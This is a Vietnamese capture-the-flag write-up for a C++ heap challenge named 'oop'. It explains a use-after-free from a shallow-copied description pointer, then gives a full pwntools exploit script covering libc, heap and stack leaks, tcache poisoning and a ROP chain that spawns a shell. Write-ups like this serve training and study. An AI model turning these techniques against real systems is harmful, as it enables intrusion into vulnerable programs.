pwn - oop
Vulnerability: use after free - dangling pointer -> tcache poisoning
Setup
Vì challenge này sử dụng C++, mình setup docker và patch binary giống như cách ở bài pwn - Calc | CSCV 2025 Jeopardy Final.
Recon
Mitigation


Code
Reverse engineering mình được các struct quan trọng sau:
Person struct
struct Person
{
_BYTE name[64];
unsigned int age;
unsigned int salary;
_BYTE username[32];
_BYTE password[32];
const char *description;
_QWORD projects[3];
};Size: 0xA8 bytes.
Project struct
struct Project
{
_BYTE description[128];
_DWORD budget;
_BYTE unknown[28]; // cái này mình chưa xác định
_QWORD notes[3];
_QWORD leader;
};Size: 0xC0 bytes.
Note struct
struct Note
{
Person owner;
char content[32];
};Size: 0xC8 bytes.
Thực hiện phân tích sink-to-source, mình để ý toán tử delete trong destructor của Person:
Person destructor
void __fastcall Person::~Person(Person *this)
{
if ( this->description )
operator delete[]((void *)this->description);
std::vector<Project *>::~vector((__int64)this->projects);
}Destructor của Person được gọi trong destructor của Note:
Note destructor
void __fastcall Note::~Note(Note *this)
{
std::string::~string((string *)this->content);
Person::~Person(&this->owner);
}Destructor của Note được gọi trong Project::addNote():
Project::addNote()
unsigned __int64 __fastcall Project::addNote(Project *project, Person *user, const char *note_content)
{
Note note; // [rsp+20h] [rbp-E0h] BYREF
unsigned __int64 v5; // [rsp+E8h] [rbp-18h]
v5 = __readfsqword(0x28u);
Note::Note(¬e);
Person::operator=(¬e, user);
std::string::operator=((string *)note.content,note_content);
std::vector<Note>::push_back((__int64)project->notes, (__int64)¬e);
Note::~Note(¬e);
return v5 - __readfsqword(0x28u);
}Đến đây mình vẫn chưa thấy đoạn code nào đặt con trỏ Person->description về null, vậy liệu chúng ta có thể thực hiện use-after-free ko?
Mình quan sát cách Person trong một Note được khởi tạo trong Person::operator=(Note *note, Person *user):
Person::operator=(Note *note, Person *user):
Note *__fastcall Person::operator=(Note *note, Person *user)
{
Note *v2; // rcx
__int64 v3; // rdx
Person *v4; // rax
_BYTE *username; // rcx
__int64 v6; // rdx
_BYTE *v7; // rax
_BYTE *password; // rcx
__int64 v9; // rdx
_BYTE *v10; // rax
v2 = note;
v3 = 63;
v4 = user;
while ( v3 >= 0 )
{
v2->owner.name[0] = v4->name[0];
v2 = (Note *)((char *)v2 + 1);
v4 = (Person *)((char *)v4 + 1);
--v3;
}
note->owner.age = user->age;
note->owner.salary = user->salary;
username = note->owner.username;
v6 = 31;
v7 = user->username;
while ( v6 >= 0 )
{
*username++ = *v7++;
--v6;
}
password = note->owner.password;
v9 = 31;
v10 = user->password;
while ( v9 >= 0 )
{
*password++ = *v10++;
--v9;
}
note->owner.description = user->description; // <------------------------- HERE!!
std::vector<Project *>::operator=(note->owner.projects, user->projects);
return note;
}owner.description trong Note được khởi tạo bằng cách copy nguyên con trỏ user->description thay vì tạo mới. Có nghĩa có 2 con trỏ trỏ đến cùng 1 chunk trên heap.
Sau khi giải phóng ở đây operator delete[]((void *)this->description) trong destructor của Person, chúng ta vẫn có thể truy cập vào chunk qua updateProfile():
updateProfile()
unsigned __int64 updateProfile(void)
{
Person *user; // rbx
const char *description_cstr; // rax
_BYTE description[40]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-18h]
v4 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter new profile description: ");
std::string::basic_string(description);
std::istream::ignore((std::istream *)&std::cin);
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, description);
user = currentUser;
description_cstr = (const char *)std::string::c_str(description);
Person::setDescription(user, description_cstr);
std::operator<<<std::char_traits<char>>(&std::cout, "Profile description updated successfully!\n");
std::string::~string();
return v4 - __readfsqword(0x28u);
}Ở đây gọi đến Person::setDescription():
Person::setDescription()
char *__fastcall Person::setDescription(Person *this, const char *description)
{
size_t old_len; // rbx
size_t new_len; // rax
if ( !this->description )
{
new_description:
new_len = strlen(description);
this->description = (const char *)operator new[](new_len + 1);
return strcpy((char *)this->description, description);
}
old_len = strlen(this->description);
if ( old_len < strlen(description) )
{
if ( this->description )
operator delete[]((void *)this->description);
goto new_description;
}
return strcpy((char *)this->description, description);
}Vậy mình xác nhận ở đây có use-after-free.
Solve
Hướng exploit của mình đó là:
- Free 1 chunk description vào unsorter bin -> leak địa chỉ libc.
- Free 1 chunk description vào tcache bin -> leak địa chỉ heap.
- Tcache poisoning lần 1 -> leak địa chỉ stack.
- Tcache poisoning lần 2 -> cấp phát tuỳ ý trên stack.
- ROP chain vào return address của hàm
userPanel()vớiupdateProfile(). Của hàmuserPanel()là bởi vì mình cần gọiupdateProfile()nhiều lần mới có thể ghi ROP chain hoàn chỉnh. (Vì toàn bộ nơi input dữ liệu đều dừng tại null, ko oneshot ROP được). - Logout để spawn shell.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("chall_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
# context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 1337
return remote(host, port)
p = conn()
def register(name, age, user, passwd, description):
slan(p, b'option', 1)
sla(p, b'name', name)
slan(p, b'age', age)
sla(p, b'user', user)
sla(p, b'pass', passwd)
sla(p, b'description', description)
def login(user, passwd):
slan(p, b'option', 2)
sla(p, b'user', user)
sla(p, b'pass', passwd)
def create_project(description, budget):
slan(p, b'option', 1)
sla(p, b'description', description)
slan(p, b'budget', budget)
def update_project(index, description, progress):
slan(p, b'option', 4)
slan(p, b'index', index)
sla(p, b'description', description)
slan(p, b'percentage', progress)
def leave_note(project, note):
slan(p, b'option', 5)
slan(p, b'project index', project)
sla(p, b'your note', note)
def view_profile():
slan(p, b'option', 6)
def update_profile(description):
slan(p, b'option', 7)
sla(p, b'description', description)
sleep(0.1)
def logout():
slan(p, b'option', 8)
register(b'u1', 1, b'user1', b'pass1', pad(0x410)) # Unsorted bin libc leak
logout()
register(b'u2', 1, b'user2', b'pass2', b'A') # Tcache bin heap leak
logout()
register(b'u3', 1, b'user3', b'pass3', pad(0xc0)) # Tcache poisoning 1
logout()
register(b'u4', 1, b'user4', b'pass4', b'A') # Dùng để ghi địa chỉ __environ vào user1->description
logout()
register(b'u5', 1, b'user5', b'pass5', pad(0xc0)) # Tcache poisoning 2
logout()
register(b'u6', 1, b'user6', b'pass6', b'A')
logout()
# Leak libc address
print("\nleaking libc address")
login(b'user1', b'pass1')
# Cấp phát nhiều lần để ngăn cách top chunk
for i in range(9):
create_project(b'A', 1)
leave_note(1, b'A')
view_profile()
ru(p, b'Description: ')
libc.address = leak_bytes(rn(p, 6), 0x21ace0)
lg("libc base", libc.address)
# Leak heap address
print("\nleaking heap address")
logout()
login(b'user2', b'pass2')
create_project(b'A', 1)
leave_note(1, b'A') # free to tcache bin
view_profile()
ru(p, b'Description: ')
heap_base = (leak_bytes(rn(p, 5)) << 12) - 0x12000
lg("heap base", heap_base)
print("\ntcache poisoning 1: allocate to user1")
# Tcache poisoning để cấp phát chunk đến user1, để sau đó ghi
# địa chỉ của __environ vào user1->description, dẫn đến leak
# địa chỉ stack khi view_profile()
logout()
login(b'user3', b'pass3')
for i in range(3):
create_project(b'A', 1)
for i in range(2):
update_project(1, b'A', 100)
leave_note(1, b'A')
# cấp phát đến user1 = heap_base + 0x11eb0 thay vì cấp phát
# thẳng đến user1->description để tránh corrupt tcachebin
heap_pos = heap_base + 0x128b0
u1 = heap_base + 0x11eb0
fd = u1 ^ (heap_pos >> 12)
lg("heap position", heap_pos)
lg("user1", u1)
lg("encoded fd", fd)
update_profile(p64(fd)[:6])
create_project(b'A', 1)
lg("__environ + 1", libc.symbols['__environ'] + 1)
print("\noverwrite user1->description to __environ")
logout()
login(b'user4', b'pass4')
# Vì địa chỉ __environ chứa null byte ở đầu, nên cần phải ghi
# nhiều lần mới có được địa chỉ chính xác
update_profile(pad(0xc0))
update_profile(pad(0x90 - 1))
update_profile(pad(0x88) + p64(libc.symbols['__environ'] + 1))
update_profile(pad(0x88))
update_profile(pad(0x70))
update_profile(pad(0x50))
# Leak stack
print("\nleaking stack address")
logout()
login(pad(8), pad(8)) # là user1, do ghi đè username và password ở trên với toàn A
view_profile()
ru(p, b'Description: ')
stack = leak_bytes(rn(p, 6))
lg("stack", stack)
# Tcache poisoning để cấp phát đến return address của userPanel()
print("\ntcache poisoning 2: allocate to stack")
logout()
login(b'user5', b'pass5')
for i in range(3):
create_project(b'A', 1)
for i in range(2):
update_project(1, b'A', 100)
leave_note(1, b'A')
heap_pos = heap_base + 0x12b00
rbp = stack - 0x138
fd = rbp ^ (heap_pos >> 12)
lg("heap position", heap_pos)
lg("rbp", rbp)
lg("encoded fd", fd)
update_profile(p64(fd)[:6])
# ROP
print("\nROP chain")
logout()
login(b'user6', b'pass6')
# ROP chain hoàn chỉnh: nop; pop rdi; bin/sh; system
create_project(b'A', 1)
update_profile(pad(0xc0))
update_profile(pad(8 * 5 - 1))
update_profile(pad(8 * 4) + p64(libc.symbols['system']))
update_profile(pad(8 * 4 - 1))
update_profile(pad(8 * 3) + p64(binsh(libc)))
update_profile(pad(8 * 3 - 1))
update_profile(pad(8 * 2) + p64(libc.address + 0x2a3e5)) # pop rdi; ret
update_profile(pad(8 * 2 - 1))
update_profile(pad(8) + p64(libc.address + 0x378df)) # nop; ret
# Profit
print("\nspawn shell:")
logout()
rr(p, 1)
ia(p)